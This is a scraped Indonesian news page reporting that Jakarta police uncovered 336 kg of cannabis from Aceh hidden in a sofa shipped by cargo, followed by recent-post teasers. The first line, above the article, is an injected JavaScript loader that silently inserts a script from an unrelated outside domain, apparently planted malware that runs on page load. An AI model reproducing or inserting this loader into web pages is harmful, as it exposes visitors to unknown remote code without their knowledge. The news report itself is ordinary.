(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Polisi Ungkap Penyeludupan Ganja Seberat 336 Kg dari Aceh di Dalam Sofa


KANALKALIMANTAN.COM, JAKARTA – Polda Metro Jaya mengungkap penyelundupan narkoba jenis ganja seberat 336 kilogram. Ganja asal Aceh itu dikemas di dalam sofa untuk mengelabui aparat kepolisian.

Kapolda Metro Jaya Irjen Pol Nana Sudjana mengemukakan bahwa pengungkapan kasus tersebut berawal atas adanya laporan dari perusahaan ekspedisi pengiriman barang atau logistik yang curiga dengan sofa yang dikirim oleh seorang asal Aceh kepada pihak penerima berinisial J di Jakarta.

“Jadi kronologisnya ganja ini berasal dari Lhokseumawe, Aceh, kemudian dikirim melalui cargo ke Jakarta yang memang di sana ada pengirim dan ada alamat penerima,” kata Nana saat jumpa pers si Polda Metro Jaya, Jakarta, Jumat (12/6/2020), dilansir suara.com, mitra media kanalkalimantan.com.

Nana mengatakan, pihak perusahaan ekspedisi sempat menghubungi J selaku penerima sofa. Namun, yang bersangkutan mengaku sedang berada di luar kota dan berjanji akan segera mengambil sofa beberapa hari kemudian.

Seiring berjalannya waktu, sampai dengan hari yang telah disepakati, J tidak juga mengambil sofa. Perusahaan ekspedisi yang curiga dengan sofa tersebut lantas melaporkan kecurigaan itu ke Polres Metro Jakarta Timur.

Selanjutnya, Polres Metro Jakarta Timur dibantu oleh Direktorat Reserse Narkoba Polda Metro Jaya membongkar sofa tersebut. Hasilnya, ditemukan ganja kering dengan berat total 336 kilogram.

Pihak kepolisian sendiri telah menyelidiki alamat kediaman pengirim sofa di Aceh, namun alamat tersebut ternyata fiktif. Hal serupa juga terjadi saat polisi coba melacak alamat J selaku pihak penerima sofa yang tertera berada di wilayah Cilandak Jakarta Selatan, namun ternyata juga tidak ditemukan alias fiktif.

“Kami terus lakukan upaya penyelidikan ke J kemudian hpnya pun dimatikan dan yang bersangkutan sampai satu bulan kemarin nggak ambil barang tersebut. Dalam hal ini kami terus upaya lidik atau pun pelacakan ke yang bersangkutan baik penerima atau pengirim,” kata Nana.(suara)

 

Reporter : Suara
Editor : Suara

 


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

2 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

2 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

3 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

3 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

3 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

3 jam ago

This website uses cookies.